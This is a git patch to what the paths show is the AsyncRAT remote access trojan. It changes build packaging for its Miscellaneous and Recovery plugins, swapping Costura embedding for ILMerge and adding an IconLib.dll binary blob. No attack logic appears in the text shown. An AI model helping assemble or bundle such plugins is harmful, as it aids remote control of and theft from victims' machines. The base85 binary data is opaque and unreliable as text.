From 5a73ad3844f2ed1abf76072e2e15193632657761 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 4 Oct 2019 08:47:01 +0300 Subject: [PATCH] Update --- .../Miscellaneous/FodyWeavers.xml | 3 - .../Miscellaneous/FodyWeavers.xsd | 111 ------------------ .../Miscellaneous/Miscellaneous/ILMerge.props | 67 +++++++++++ .../Miscellaneous/ILMergeOrder.txt | 4 + .../Miscellaneous/Miscellaneous/IconLib.dll | Bin 0 -> 57856 bytes .../Miscellaneous/Miscellaneous.csproj | 28 +++-- .../Properties/Resources.Designer.cs | 63 ++++++++++ .../Miscellaneous/Properties/Resources.resx | 101 ++++++++++++++++ .../Miscellaneous/packages.config | 4 +- .../Plugin/Recovery/Recovery/Recovery.csproj | 19 ++- 10 files changed, 266 insertions(+), 134 deletions(-) delete mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml delete mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMerge.props create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMergeOrder.txt create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/IconLib.dll create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.Designer.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.resx diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml deleted file mode 100644 index 5029e70..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMerge.props b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMerge.props new file mode 100644 index 0000000..aaadb12 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/IconLib.dll b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/IconLib.dll new file mode 100644 index 0000000000000000000000000000000000000000..c58d15fc4696b05ddac467216cef04b55e61c978 GIT binary patch literal 57856 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 